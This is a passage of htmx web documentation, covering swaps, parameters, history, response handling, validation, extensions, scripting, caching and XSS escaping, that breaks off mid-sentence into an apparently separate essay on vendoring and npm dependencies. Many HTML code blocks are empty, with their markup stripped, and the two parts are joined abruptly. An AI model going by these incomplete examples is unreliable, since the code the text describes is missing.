` or ``).
To avoid this issue you can use a `template` tag to encapsulate these elements:
```html
Joe Smith
```
#### Selecting Content To Swap
If you want to select a subset of the response HTML to swap into the target, you can use the [hx-select](@/attributes/hx-select.md)
attribute, which takes a CSS selector and selects the matching elements from the response.
You can also pick out pieces of content for an out-of-band swap by using the [hx-select-oob](@/attributes/hx-select-oob.md)
attribute, which takes a list of element IDs to pick out and swap.
#### Preserving Content During A Swap
If there is content that you wish to be preserved across swaps (e.g. a video player that you wish to remain playing
even if a swap occurs) you can use the [hx-preserve](@/attributes/hx-preserve.md)
attribute on the elements you wish to be preserved.
### Parameters
By default, an element that causes a request will include its value if it has one. If the element is a form it
will include the values of all inputs within it.
As with HTML forms, the `name` attribute of the input is used as the parameter name in the request that htmx sends.
Additionally, if the element causes a non-`GET` request, the values of all the inputs of the associated form will be
included (typically this is the nearest enclosing form, but could be different if e.g. `` is used).
If you wish to include the values of other elements, you can use the [hx-include](@/attributes/hx-include.md) attribute
with a CSS selector of all the elements whose values you want to include in the request.
If you wish to filter out some parameters you can use the [hx-params](@/attributes/hx-params.md) attribute.
Finally, if you want to programmatically modify the parameters, you can use the [htmx:configRequest](@/events.md#htmx:configRequest)
event.
#### File Upload {#files}
If you wish to upload files via an htmx request, you can set the [hx-encoding](@/attributes/hx-encoding.md) attribute to
`multipart/form-data`. This will use a `FormData` object to submit the request, which will properly include the file
in the request.
Note that depending on your server-side technology, you may have to handle requests with this type of body content very
differently.
Note that htmx fires a `htmx:xhr:progress` event periodically based on the standard `progress` event during upload,
which you can hook into to show the progress of the upload.
See the [examples section](@/examples/_index.md) for more advanced form patterns, including [progress bars](@/examples/file-upload.md) and [error handling](@/examples/file-upload-input.md).
#### Extra Values
You can include extra values in a request using the [hx-vals](@/attributes/hx-vals.md) (name-expression pairs in JSON format) and
[hx-vars](@/attributes/hx-vars.md) attributes (comma-separated name-expression pairs that are dynamically computed).
### Confirming Requests {#confirming}
Often you will want to confirm an action before issuing a request. htmx supports the [`hx-confirm`](@/attributes/hx-confirm.md)
attribute, which allows you to confirm an action using a simple javascript dialog:
```html
Delete My Account
```
Using events you can implement more sophisticated confirmation dialogs. The [confirm example](@/examples/confirm.md)
shows how to use [sweetalert2](https://sweetalert2.github.io/) library for confirmation of htmx actions.
#### Confirming Requests Using Events
Another option to do confirmation with is via the [`htmx:confirm` event](@/events.md#htmx:confirm). This event
is fired on *every* trigger for a request (not just on elements that have a `hx-confirm` attribute) and can be used
to implement asynchronous confirmation of the request.
Here is an example using [sweet alert](https://sweetalert.js.org/guides/) on any element with a `confirm-with-sweet-alert='true'` attribute on it:
```javascript
document.body.addEventListener('htmx:confirm', function(evt) {
if (evt.target.matches("[confirm-with-sweet-alert='true']")) {
evt.preventDefault();
swal({
title: "Are you sure?",
text: "Are you sure you are sure?",
icon: "warning",
buttons: true,
dangerMode: true,
}).then((confirmed) => {
if (confirmed) {
evt.detail.issueRequest();
}
});
}
});
```
## Attribute Inheritance {#inheritance}
Most attributes in htmx are inherited: they apply to the element they are on as well as any children elements. This
allows you to "hoist" attributes up the DOM to avoid code duplication. Consider the following htmx:
```html
Delete My Account
Update My Account
```
Here we have a duplicate `hx-confirm` attribute. We can hoist this attribute to a parent element:
```html
Delete My Account
Update My Account
```
This `hx-confirm` attribute will now apply to all htmx-powered elements within it.
Sometimes you wish to undo this inheritance. Consider if we had a cancel button to this group, but didn't want it to
be confirmed. We could add an `unset` directive on it like so:
```html
Delete My Account
Update My Account
Cancel
```
The top two buttons would then show a confirm dialog, but the bottom cancel button would not.
Inheritance can be disabled on a per-element and per-attribute basis using the
[`hx-disinherit`](@/attributes/hx-disinherit.md) attribute.
If you wish to disable attribute inheritance entirely, you can set the `htmx.config.disableInheritance` configuration
variable to `true`. This will disable inheritance as a default, and allow you to specify inheritance explicitly
with the [`hx-inherit`](@/attributes/hx-inherit.md) attribute.
## Boosting
Htmx supports "boosting" regular HTML anchors and forms with the [hx-boost](@/attributes/hx-boost.md) attribute. This
attribute will convert all anchor tags and forms into AJAX requests that, by default, target the body of the page.
Here is an example:
```html
```
The anchor tag in this div will issue an AJAX `GET` request to `/blog` and swap the response into the `body` tag.
### Progressive Enhancement {#progressive_enhancement}
A feature of `hx-boost` is that it degrades gracefully if javascript is not enabled: the links and forms continue
to work, they simply don't use ajax requests. This is known as
[Progressive Enhancement](https://developer.mozilla.org/en-US/docs/Glossary/Progressive_Enhancement), and it allows
a wider audience to use your site's functionality.
Other htmx patterns can be adapted to achieve progressive enhancement as well, but they will require more thought.
Consider the [active search](@/examples/active-search.md) example. As it is written, it will not degrade gracefully:
someone who does not have javascript enabled will not be able to use this feature. This is done for simplicity’s sake,
to keep the example as brief as possible.
However, you could wrap the htmx-enhanced input in a form element:
```html
```
With this in place, javascript-enabled clients would still get the nice active-search UX, but non-javascript enabled
clients would be able to hit the enter key and still search. Even better, you could add a "Search" button as well.
You would then need to update the form with an `hx-post` that mirrored the `action` attribute, or perhaps use `hx-boost`
on it.
You would need to check on the server side for the `HX-Request` header to differentiate between an htmx-driven and a
regular request, to determine exactly what to render to the client.
Other patterns can be adapted similarly to achieve the progressive enhancement needs of your application.
As you can see, this requires more thought and more work. It also rules some functionality entirely out of bounds.
These tradeoffs must be made by you, the developer, with respect to your projects goals and audience.
[Accessibility](https://developer.mozilla.org/en-US/docs/Learn/Accessibility/What_is_accessibility) is a concept
closely related to progressive enhancement. Using progressive enhancement techniques such as `hx-boost` will make your
htmx application more accessible to a wide array of users.
htmx-based applications are very similar to normal, non-AJAX driven web applications because htmx is HTML-oriented.
As such, the normal HTML accessibility recommendations apply. For example:
* Use semantic HTML as much as possible (i.e. the right tags for the right things)
* Ensure focus state is clearly visible
* Associate text labels with all form fields
* Maximize the readability of your application with appropriate fonts, contrast, etc.
## Web Sockets & SSE {#websockets-and-sse}
Web Sockets and Server Sent Events (SSE) are supported via extensions. Please see
the [SSE extension](/extensions/sse) and [WebSocket extension](/extensions/ws)
pages to learn more.
## History Support {#history}
Htmx provides a simple mechanism for interacting with the [browser history API](https://developer.mozilla.org/en-US/docs/Web/API/History_API):
If you want a given element to push its request URL into the browser navigation bar and add the current state of the page
to the browser's history, include the [hx-push-url](@/attributes/hx-push-url.md) attribute:
```html
Blog
```
When a user clicks on this link, htmx will snapshot the current DOM and store it before it makes a request to /blog.
It then does the swap and pushes a new location onto the history stack.
When a user hits the back button, htmx will retrieve the old content from storage and swap it back into the target,
simulating "going back" to the previous state. If the location is not found in the cache, htmx will make an ajax
request to the given URL, with the header `HX-History-Restore-Request` set to true, and expects back the HTML needed
for the entire page. You should always set `htmx.config.historyRestoreAsHxRequest` to false to prevent the `HX-Request` header
which can then be safely used to respond with partials. Alternatively, if the `htmx.config.refreshOnHistoryMiss` config variable
is set to true, it will issue a hard browser refresh.
**NOTE:** If you push a URL into the history, you **must** be able to navigate to that URL and get a full page back!
A user could copy and paste the URL into an email, or new tab. Additionally, htmx will need the entire page when restoring
history if the page is not in the history cache.
### Specifying History Snapshot Element
By default, htmx will use the `body` to take and restore the history snapshot from. This is usually the right thing, but
if you want to use a narrower element for snapshotting you can use the [hx-history-elt](@/attributes/hx-history-elt.md)
attribute to specify a different one.
Careful: this element will need to be on all pages or restoring from history won't work reliably.
### Undoing DOM Mutations By 3rd Party Libraries
If you are using a 3rd party library and want to use the htmx history feature, you will need to clean up the DOM before
a snapshot is taken. Let's consider the [Tom Select](https://tom-select.js.org/) library, which makes select elements
a much richer user experience. Let's set up TomSelect to turn any input element with the `.tomselect` class into a rich
select element.
First we need to initialize elements that have the class in new content:
```javascript
htmx.onLoad(function (target) {
// find all elements in the new content that should be
// an editor and init w/ TomSelect
var editors = target.querySelectorAll(".tomselect")
.forEach(elt => new TomSelect(elt))
});
```
This will create a rich selector for all input elements that have the `.tomselect` class on it. However, it mutates
the DOM and we don't want that mutation saved to the history cache, since TomSelect will be reinitialized when the
history content is loaded back into the screen.
To deal with this, we need to catch the `htmx:beforeHistorySave` event and clean out the TomSelect mutations by calling
`destroy()` on them:
```javascript
htmx.on('htmx:beforeHistorySave', function() {
// find all TomSelect elements
document.querySelectorAll('.tomSelect')
.forEach(elt => elt.tomselect.destroy()) // and call destroy() on them
})
```
This will revert the DOM to the original HTML, thus allowing for a clean snapshot.
### Disabling History Snapshots
History snapshotting can be disabled for a URL by setting the [hx-history](@/attributes/hx-history.md) attribute to `false`
on any element in the current document, or any html fragment loaded into the current document by htmx. This can be used
to prevent sensitive data entering the localStorage cache, which can be important for shared-use / public computers.
History navigation will work as expected, but on restoration the URL will be requested from the server instead of the
local history cache.
## Requests & Responses {#requests}
Htmx expects responses to the AJAX requests it makes to be HTML, typically HTML fragments (although a full HTML
document, matched with a [hx-select](@/attributes/hx-select.md) tag can be useful too). Htmx will then swap the returned
HTML into the document at the target specified and with the swap strategy specified.
Sometimes you might want to do nothing in the swap, but still perhaps trigger a client side event ([see below](#response-headers)).
For this situation, by default, you can return a `204 - No Content` response code, and htmx will ignore the content of
the response.
In the event of an error response from the server (e.g. a 404 or a 501), htmx will trigger the [`htmx:responseError`](@/events.md#htmx:responseError)
event, which you can handle.
In the event of a connection error, the [`htmx:sendError`](@/events.md#htmx:sendError) event will be triggered.
### Configuring Response Handling {#response-handling}
You can configure the above behavior of htmx by mutating or replacing the `htmx.config.responseHandling` array. This
object is a collection of JavaScript objects defined like so:
```js
responseHandling: [
{code:"204", swap: false}, // 204 - No Content by default does nothing, but is not an error
{code:"[23]..", swap: true}, // 200 & 300 responses are non-errors and are swapped
{code:"[45]..", swap: false, error:true}, // 400 & 500 responses are not swapped and are errors
{code:"...", swap: false} // catch all for any other response code
]
```
When htmx receives a response it will iterate in order over the `htmx.config.responseHandling` array and test if the
`code` property of a given object, when treated as a Regular Expression, matches the current response. If an entry
does match the current response code, it will be used to determine if and how the response will be processed.
The fields available for response handling configuration on entries in this array are:
* `code` - a String representing a regular expression that will be tested against response codes.
* `swap` - `true` if the response should be swapped into the DOM, `false` otherwise
* `error` - `true` if htmx should treat this response as an error
* `ignoreTitle` - `true` if htmx should ignore title tags in the response
* `select` - A CSS selector to use to select content from the response
* `target` - A CSS selector specifying an alternative target for the response
* `swapOverride` - An alternative swap mechanism for the response
#### Configuring Response Handling Examples {#response-handling-examples}
As an example of how to use this configuration, consider a situation when a server-side framework responds with a
[`422 - Unprocessable Entity`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/422) response when validation errors occur. By default, htmx will ignore the response,
since it matches the Regular Expression `[45]..`.
Using the [meta config](#configuration-options) mechanism for configuring responseHandling, we could add the following
config:
```html
```
If you wanted to swap everything, regardless of HTTP response code, you could use this configuration:
```html
```
Finally, it is worth considering using the [Response Targets](/extensions/response-targets)
extension, which allows you to configure the behavior of response codes declaratively via attributes.
### CORS
When using htmx in a cross origin context, remember to configure your web
server to set Access-Control headers in order for htmx headers to be visible
on the client side.
- [Access-Control-Allow-Headers (for request headers)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Headers)
- [Access-Control-Expose-Headers (for response headers)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Expose-Headers)
[See all the request and response headers that htmx implements.](@/reference.md#request_headers)
### Request Headers
htmx includes a number of useful headers in requests:
| Header | Description |
|--------|-------------|
| `HX-Boosted` | indicates that the request is via an element using [hx-boost](@/attributes/hx-boost.md)
| `HX-Current-URL` | the current URL of the browser
| `HX-History-Restore-Request` | "true" if the request is for history restoration after a miss in the local history cache
| `HX-Prompt` | the user response to an [hx-prompt](@/attributes/hx-prompt.md)
| `HX-Request` | always "true" except on history restore requests if `htmx.config.historyRestoreAsHxRequest' disabled
| `HX-Target` | the `id` of the target element if it exists
| `HX-Trigger-Name` | the `name` of the triggered element if it exists
| `HX-Trigger` | the `id` of the triggered element if it exists
### Response Headers
htmx supports some htmx-specific response headers:
* [`HX-Location`](@/headers/hx-location.md) - allows you to do a client-side redirect that does not do a full page reload
* [`HX-Push-Url`](@/headers/hx-push-url.md) - pushes a new url into the history stack
* [`HX-Redirect`](@/headers/hx-redirect.md) - can be used to do a client-side redirect to a new location
* `HX-Refresh` - if set to "true" the client-side will do a full refresh of the page
* [`HX-Replace-Url`](@/headers/hx-replace-url.md) - replaces the current URL in the location bar
* `HX-Reswap` - allows you to specify how the response will be swapped. See [hx-swap](@/attributes/hx-swap.md) for possible values
* `HX-Retarget` - a CSS selector that updates the target of the content update to a different element on the page
* `HX-Reselect` - a CSS selector that allows you to choose which part of the response is used to be swapped in. Overrides an existing [`hx-select`](@/attributes/hx-select.md) on the triggering element
* [`HX-Trigger`](@/headers/hx-trigger.md) - allows you to trigger client-side events
* [`HX-Trigger-After-Settle`](@/headers/hx-trigger.md) - allows you to trigger client-side events after the settle step
* [`HX-Trigger-After-Swap`](@/headers/hx-trigger.md) - allows you to trigger client-side events after the swap step
For more on the `HX-Trigger` headers, see [`HX-Trigger` Response Headers](@/headers/hx-trigger.md).
Submitting a form via htmx has the benefit of no longer needing the [Post/Redirect/Get Pattern](https://en.wikipedia.org/wiki/Post/Redirect/Get).
After successfully processing a POST request on the server, you don't need to return a [HTTP 302 (Redirect)](https://en.wikipedia.org/wiki/HTTP_302). You can directly return the new HTML fragment.
Also the response headers above are not provided to htmx for processing with 3xx Redirect response codes like [HTTP 302 (Redirect)](https://en.wikipedia.org/wiki/HTTP_302). Instead, the browser will intercept the redirection internally and return the headers and response from the redirected URL. Where possible use alternative response codes like 200 to allow returning of these response headers.
### Request Order of Operations {#request-operations}
The order of operations in a htmx request are:
* The element is triggered and begins a request
* Values are gathered for the request
* The `htmx-request` class is applied to the appropriate elements
* The request is then issued asynchronously via AJAX
* Upon getting a response the target element is marked with the `htmx-swapping` class
* An optional swap delay is applied (see the [hx-swap](@/attributes/hx-swap.md) attribute)
* The actual content swap is done
* the `htmx-swapping` class is removed from the target
* the `htmx-added` class is added to each new piece of content
* the `htmx-settling` class is applied to the target
* A settle delay is done (default: 20ms)
* The DOM is settled
* the `htmx-settling` class is removed from the target
* the `htmx-added` class is removed from each new piece of content
You can use the `htmx-swapping` and `htmx-settling` classes to create
[CSS transitions](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions) between pages.
## Validation
Htmx integrates with the [HTML5 Validation API](https://developer.mozilla.org/en-US/docs/Learn/Forms/Form_validation)
and will not issue a request for a form if a validatable input is invalid. This is true for both AJAX requests as well as
WebSocket sends.
Htmx fires events around validation that can be used to hook in custom validation and error handling:
* `htmx:validation:validate` - called before an element's `checkValidity()` method is called. May be used to add in
custom validation logic
* `htmx:validation:failed` - called when `checkValidity()` returns false, indicating an invalid input
* `htmx:validation:halted` - called when a request is not issued due to validation errors. Specific errors may be found
in the `event.detail.errors` object
Non-form elements do not validate before they make requests by default, but you can enable validation by setting
the [`hx-validate`](@/attributes/hx-validate.md) attribute to "true".
Normal browser form submission alerts the user of any validation errors automatically and auto focuses on the first invalid input. For backwards compatibility reasons htmx does not report the validation to the users by default and you should always enable this option by setting `htmx.config.reportValidityOfForms` to `true` to restore the default browser behavior.
### Validation Example
Here is an example of an input that uses the [`hx-on`](/attributes/hx-on) attribute to catch the
`htmx:validation:validate` event and require that the input have the value `foo`:
```html
```
Note that all client side validations must be re-done on the server side, as they can always be bypassed.
## Animations
Htmx allows you to use [CSS transitions](#css_transitions)
in many situations using only HTML and CSS.
Please see the [Animation Guide](@/examples/animations.md) for more details on the options available.
## Extensions
htmx provides an [extensions](/extensions) mechanism that allows you to customize the libraries' behavior.
Extensions [are defined in javascript](/extensions/building) and then enabled via
the [`hx-ext`](@/attributes/hx-ext.md) attribute.
### Core Extensions
htmx supports a few "core" extensions, which are supported by the htmx development team:
* [head-support](/extensions/head-support) - support for merging head tag information (styles, etc.) in htmx requests
* [htmx-1-compat](/extensions/htmx-1-compat) - restores htmx 1 defaults & functionality
* [idiomorph](/extensions/idiomorph) - supports the `morph` swap strategy using idiomorph
* [preload](/extensions/preload) - allows you to preload content for better performance
* [response-targets](/extensions/response-targets) - allows you to target elements based on HTTP response codes (e.g. `404`)
* [sse](/extensions/sse) - support for [Server Sent Events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events)
* [ws](/extensions/ws) - support for [Web Sockets](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API/Writing_WebSocket_client_applications)
You can see all available extensions on the [Extensions](/extensions) page.
### Installing Extensions
The fastest way to install htmx extensions created by others is to load them via a CDN. Remember to always include the core htmx library before the extensions and [enable the extension](#enabling-extensions). For example, if you would like to use the [response-targets](/extensions/response-targets) extension, you can add this to your head tag:
```HTML
...
```
An unminified version is also available at `https://cdn.jsdelivr.net/npm/htmx-ext-extension-name/dist/extension-name.js` (replace `extension-name` with the name of the extension).
While the CDN approach is simple, you may want to consider [not using CDNs in production](https://blog.wesleyac.com/posts/why-not-javascript-cdn). The next easiest way to install htmx extensions is to simply copy them into your project. Download the extension from `https://cdn.jsdelivr.net/npm/htmx-ext-extension-name` (replace `extension-name` with the name of the extension) e.g., https://cdn.jsdelivr.net/npm/htmx-ext-response-targets. Then add it to the appropriate directory in your project and include it where necessary with a `
```
This helper allows you to add mock responses by adding `template` tags with a `url` attribute to indicate which URL.
The response for that url will be the innerHTML of the template, making it easy to construct mock responses. You can
add a delay to the response with a `delay` attribute, which should be an integer indicating the number of milliseconds
to delay
You may embed simple expressions in the template with the `${}` syntax.
Note that this should only be used for demos and is in no way guaranteed to work for long periods of time
as it will always be grabbing the latest versions htmx and hyperscript!
#### Demo Example
Here is an example of the code in action:
```html
Count Up
${globalInt++}
```
## Scripting {#scripting}
While htmx encourages a hypermedia approach to building web applications, it offers many options for client scripting. Scripting is included in the REST-ful description of web architecture, see: [Code-On-Demand](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_7). As much as is feasible, we recommend a [hypermedia-friendly](/essays/hypermedia-friendly-scripting) approach to scripting in your web application:
* [Respect HATEOAS](/essays/hypermedia-friendly-scripting#prime_directive)
* [Use events to communicate between components](/essays/hypermedia-friendly-scripting#events)
* [Use islands to isolate non-hypermedia components from the rest of your application](/essays/hypermedia-friendly-scripting#islands)
* [Consider inline scripting](/essays/hypermedia-friendly-scripting#inline)
The primary integration point between htmx and scripting solutions is the [events](#events) that htmx sends and can
respond to. See the SortableJS example in the [3rd Party Javascript](#3rd-party) section for a good template for
integrating a JavaScript library with htmx via events.
Scripting solutions that pair well with htmx include:
* [VanillaJS](http://vanilla-js.com/) - Simply using the built-in abilities of JavaScript to hook in event handlers to
respond to the events htmx emits can work very well for scripting. This is an extremely lightweight and increasingly
popular approach.
* [AlpineJS](https://alpinejs.dev/) - Alpine.js provides a rich set of tools for creating sophisticated front end scripts,
including reactive programming support, while still remaining extremely lightweight. Alpine encourages the "inline scripting"
approach that we feel pairs well with htmx.
* [jQuery](https://jquery.com/) - Despite its age and reputation in some circles, jQuery pairs very well with htmx, particularly
in older code-bases that already have a lot of jQuery in them.
* [hyperscript](https://hyperscript.org) - Hyperscript is an experimental front-end scripting language created by the same
team that created htmx. It is designed to embed well in HTML and both respond to and create events, and pairs very well
with htmx.
We have an entire chapter entitled ["Client-Side Scripting"](https://hypermedia.systems/client-side-scripting/) in [our
book](https://hypermedia.systems) that looks at how scripting can be integrated into your htmx-based application.
### [The `hx-on*` Attributes](#hx-on)
HTML allows the embedding of inline scripts via the [`onevent` properties](https://developer.mozilla.org/en-US/docs/Web/Events/Event_handlers#using_onevent_properties),
such as `onClick`:
```html
Click Me!
```
This feature allows scripting logic to be co-located with the HTML elements the logic applies to, giving good
[Locality of Behaviour (LoB)](/essays/locality-of-behaviour). Unfortunately, HTML only allows `on*` attributes for a fixed
number of [specific DOM events](https://www.w3schools.com/tags/ref_eventattributes.asp) (e.g. `onclick`) and
doesn't provide a generalized mechanism for responding to arbitrary events on elements.
In order to address this shortcoming, htmx offers [`hx-on*`](/attributes/hx-on) attributes. These attributes allow
you to respond to any event in a manner that preserves the LoB of the standard `on*` properties.
If we wanted to respond to the `click` event using an `hx-on` attribute, we would write this:
```html
Click Me!
```
So, the string `hx-on`, followed by a colon (or a dash), then by the name of the event.
For a `click` event, of course, we would recommend sticking with the standard `onclick` attribute. However, consider an
htmx-powered button that wishes to add a parameter to a request using the `htmx:config-request` event. This would not
be possible using a standard `on*` property, but it can be done using the `hx-on:htmx:config-request` attribute:
```html
Post Me!
```
Here the `example` parameter is added to the `POST` request before it is issued, with the value 'Hello Scripting!'.
Another usecase is to [reset user input](@/examples/reset-user-input.md) on successful requests using the `afterRequest`
event, avoiding the need for something like an out of band swap.
The `hx-on*` attributes are a very simple mechanism for generalized embedded scripting. It is _not_ a replacement for more
fully developed front-end scripting solutions such as AlpineJS or hyperscript. It can, however, augment a VanillaJS-based
approach to scripting in your htmx-powered application.
Note that HTML attributes are *case insensitive*. This means that, unfortunately, events that rely on capitalization/
camel casing, cannot be responded to. If you need to support camel case events we recommend using a more fully
functional scripting solution such as AlpineJS or hyperscript. htmx dispatches all its events in both camelCase and in
kebab-case for this very reason.
### 3rd Party Javascript {#3rd-party}
Htmx integrates fairly well with third party libraries. If the library fires events on the DOM, you can use those events to
trigger requests from htmx.
A good example of this is the [SortableJS demo](@/examples/sortable.md):
```html
```
With Sortable, as with most javascript libraries, you need to initialize content at some point.
In jquery you might do this like so:
```javascript
$(document).ready(function() {
var sortables = document.body.querySelectorAll(".sortable");
for (var i = 0; i < sortables.length; i++) {
var sortable = sortables[i];
new Sortable(sortable, {
animation: 150,
ghostClass: 'blue-background-class'
});
}
});
```
In htmx, you would instead use the `htmx.onLoad` function, and you would select only from the newly loaded content,
rather than the entire document:
```js
htmx.onLoad(function(content) {
var sortables = content.querySelectorAll(".sortable");
for (var i = 0; i < sortables.length; i++) {
var sortable = sortables[i];
new Sortable(sortable, {
animation: 150,
ghostClass: 'blue-background-class'
});
}
})
```
This will ensure that as new content is added to the DOM by htmx, sortable elements are properly initialized.
If javascript adds content to the DOM that has htmx attributes on it, you need to make sure that this content
is initialized with the `htmx.process()` function.
For example, if you were to fetch some data and put it into a div using the `fetch` API, and that HTML had
htmx attributes in it, you would need to add a call to `htmx.process()` like this:
```js
let myDiv = document.getElementById('my-div')
fetch('http://example.com/movies.json')
.then(response => response.text())
.then(data => { myDiv.innerHTML = data; htmx.process(myDiv); } );
```
Some 3rd party libraries create content from HTML template elements. For instance, Alpine JS uses the `x-if`
attribute on templates to add content conditionally. Such templates are not initially part of the DOM and,
if they contain htmx attributes, will need a call to `htmx.process()` after they are loaded. The following
example uses Alpine's `$watch` function to look for a change of value that would trigger conditional content:
```html
```
#### Web Components {#web-components}
Please see the [Web Components Examples](@/examples/web-components.md) page for examples on how to integrate htmx
with web components.
## Caching
htmx works with standard [HTTP caching](https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching)
mechanisms out of the box.
If your server adds the
[`Last-Modified`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Last-Modified)
HTTP response header to the response for a given URL, the browser will automatically add the
[`If-Modified-Since`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/If-Modified-Since)
request HTTP header to the next requests to the same URL. Be mindful that if
your server can render different content for the same URL depending on some other
headers, you need to use the [`Vary`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching#vary)
response HTTP header. For example, if your server renders the full HTML when the
`HX-Request` header is missing or `false`, and it renders a fragment of that HTML
when `HX-Request: true`, you need to add `Vary: HX-Request`. That causes the cache to be
keyed based on a composite of the response URL and the `HX-Request` request header —
rather than being based just on the response URL. Always disable `htmx.config.historyRestoreAsHxRequest`
so that these history full HTML requests are not cached with partial fragment responses.
If you are unable (or unwilling) to use the `Vary` header, you can alternatively set the configuration parameter
`getCacheBusterParam` to `true`. If this configuration variable is set, htmx will include a cache-busting parameter
in `GET` requests that it makes, which will prevent browsers from caching htmx-based and non-htmx based responses
in the same cache slot.
htmx also works with [`ETag`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/ETag)
as expected. Be mindful that if your server can render different content for the same
URL (for example, depending on the value of the `HX-Request` header), the server needs
to generate a different `ETag` for each content.
## Security
htmx allows you to define logic directly in your DOM. This has a number of advantages, the largest being
[Locality of Behavior](@/essays/locality-of-behaviour.md), which makes your system easier to understand and
maintain.
A concern with this approach, however, is security: since htmx increases the expressiveness of HTML, if a malicious
user is able to inject HTML into your application, they can leverage this expressiveness of htmx to malicious
ends.
### Rule 1: Escape All User Content
The first rule of HTML-based web development has always been: *do not trust input from the user*. You should escape all
3rd party, untrusted content that is injected into your site. This is to prevent, among other issues,
[XSS attacks](https://en.wikipedia.org/wiki/Cross-site_scripting).
There is extensive documentation on XSS and how to prevent it on the excellent [OWASP Website](https://owasp.org/www-community/attacks/xss/),
including a [Cross Site Scripting Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).
The good news is that this is a very old and well understood topic, and the vast majority of server-side templating languages
support [automatic escaping](https://docs.djangoproject.com/en/4.2/ref/templates/language/#automatic-html-escaping) of
content to prevent just such an issue.
That being said, there are times people choose to inject HTML more dangerously, often via some sort of `raw()`
mechanism in their templating language. This can be done for good reasons, but if the content being injected is coming
from a 3rd party then it _must_ be scrubbed, including removing attributes starting with `hx-` and `data-hx`, as well as
inline `
```
And then you check the htmx source into your own source control repository. (I would even recommend considering using
the [non-minimized version](https://raw.githubusercontent.com/bigskysoftware/htmx/refs/tags/v2.0.4/dist/htmx.js), so
you can better understand and debug the code.)
That's it, that's vendoring.
## Vendoring Strengths
OK, great, so what are some strengths of vendoring libraries like this?
It turns out there are quite a few:
* Your entire project is checked in to your source repository, so no external systems beyond your source control need
to be involved when building it
* Vendoring dramatically improves dependency *visibility*: you can _see_ all the code your project depends on, so you
won't have a situation like we have in htmx, where we feel like we only have a few development dependencies, when in
fact we may have a lot
* This also means if you have a good debugger, you can step into the library code as easily as any other code. You
can also read it, learn from it and even modify it if necessary.
* From a security perspective, you aren't relying on opaque code. Even if your package manager has
an integrity hash system, the actual code may be opaque to you. With vendored code it is checked in and can be
analysed automatically or by a security team.
* Personally, it has always seemed crazy to me that people will often resolve dependencies at deployment time, right
when your software is about to go out the door. If that bothers you, like it does me, vendoring puts a stop to it.
On the other hand, vendoring also has one massive drawback: there typically isn't a good way to deal with what is called
the [transitive dependency](https://en.wikipedia.org/wiki/Transitive_closure) problem.
If htmx had sub-dependencies, that is, other libraries that it depended on, then to vendor it properly you would have to
start vendoring all those libraries as well. And if those dependencies had further dependencies, you'd need to install
them as well... And on and on.
Worse, two dependencies might depend on the same library, and you'll need to make sure you get the
[correct version](https://en.wikipedia.org/wiki/Dependency_hell) of that library for everything to work.
This can get pretty difficult to deal with, but I want to make a paradoxical claim that this weakness (and, again, it's
a real one) is actually a strength in some way:
Because dealing with large numbers of dependencies is difficult, vendoring encourages a culture of _independence_.
You get more of what you make easy, and if you make dependencies easy, you get more of them. Making dependencies,
_especially_ transitive dependencies, more difficult would make them less common.
And, as we will see in a bit, maybe fewer dependencies isn't such a bad thing.
## Dependency Managers
That's great and all, but there are [significant](https://gist.github.com/datagrok/8577287)
[drawbacks](https://web.archive.org/web/20180216205752/http://blog.bithound.io/why-we-stopped-vendoring-our-npm-dependencies/)
to vendoring, particular the transitive dependency problem.
Modern software engineering uses dependency managers to deal with the dependencies of software projects. These tools
allow you to specify your projects dependencies, typically via some sort of file. They then they will install those
dependencies and resolve and manage all the other dependencies that are necessary for those dependencies to work.
One of the most widely used package managers is NPM: The [Node Package Manager](https://www.npmjs.com/). Despite having
no runtime dependencies, htmx uses NPM to specify 16 development dependencies. Development dependencies are dependencies
that are necessary for development of htmx, but not for running it. You can see the dependencies at the bottom of
the NPM [`package.json`](https://github.com/bigskysoftware/htmx/blob/master/package.json) file for the project.
Dependency managers are a crucial part of modern software development and many developers today couldn't imagine
writing software without them.
### The Trouble with Dependency Managers
So dependency managers solve the transitive dependency problem that vendoring has. But, as with everything in software
engineering, there are tradeoffs associated with them. To see some of these tradeoffs, let's take a look at the
[`package-lock.json`](https://github.com/bigskysoftware/htmx/blob/master/package-lock.json) file in htmx.
NPM generates a `package-lock.json` file that contains the resolved transitive closure of dependencies for a project, with
the concrete versions of those dependencies. This helps ensure that the same dependencies are used unless a user
explicitly updates them.
If you take a look at the `package-lock.json` for htmx, you will find that the original 13 development dependencies have
ballooned into a total of 411 dependencies when all is said and done.
htmx, it turns out, relies on a huge number of packages, despite priding itself on being a relatively lean. In fact,
the `node_modules` folder in htmx is a whopping 110 megabytes!
But, beyond this bloat there are deeper problems lurking in that mass of dependencies.
While writing this essay I found that htmx apparently depends on the
[`array.prototype.findlastindex`](https://www.npmjs.com/package/array.prototype.findlastindex), a
[polyfill](https://en.wikipedia.org/wiki/Polyfill_(programming)) for a JavaScript feature introduced in
[2022](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/findLastIndex).
Now, [htmx 1.x](https://v1.htmx.org/) is IE compatible, and I don't *want* polyfills for _anything_: I want to write
code that will work in IE without any additional library support. And yet a polyfill has snuck in via a chain
of dependencies (htmx does not directly rely on it) that introduces a dangerous polyfill that would let me write
code that would break in IE, as well as other older browsers.
This polyfill may or may not be available when I run the htmx [test suite](https://htmx.org/test/) (it's hard to tell)
but that's the point: some dangerous code has snuck into my project without me even knowing it, due to the number
and complexity of the (development) dependencies it has.
This demonstrates significant _cultural_ problem with dependency managers:
They tend to foster a culture of, well, dependency.
A spectacular example of this was the infamous [left-pad incident](https://en.wikipedia.org/wiki/Npm_left-pad_incident),
in which an engineer took down a widely used package and broke the build at companies like Facebook, PayPal, Netflix,
etc.
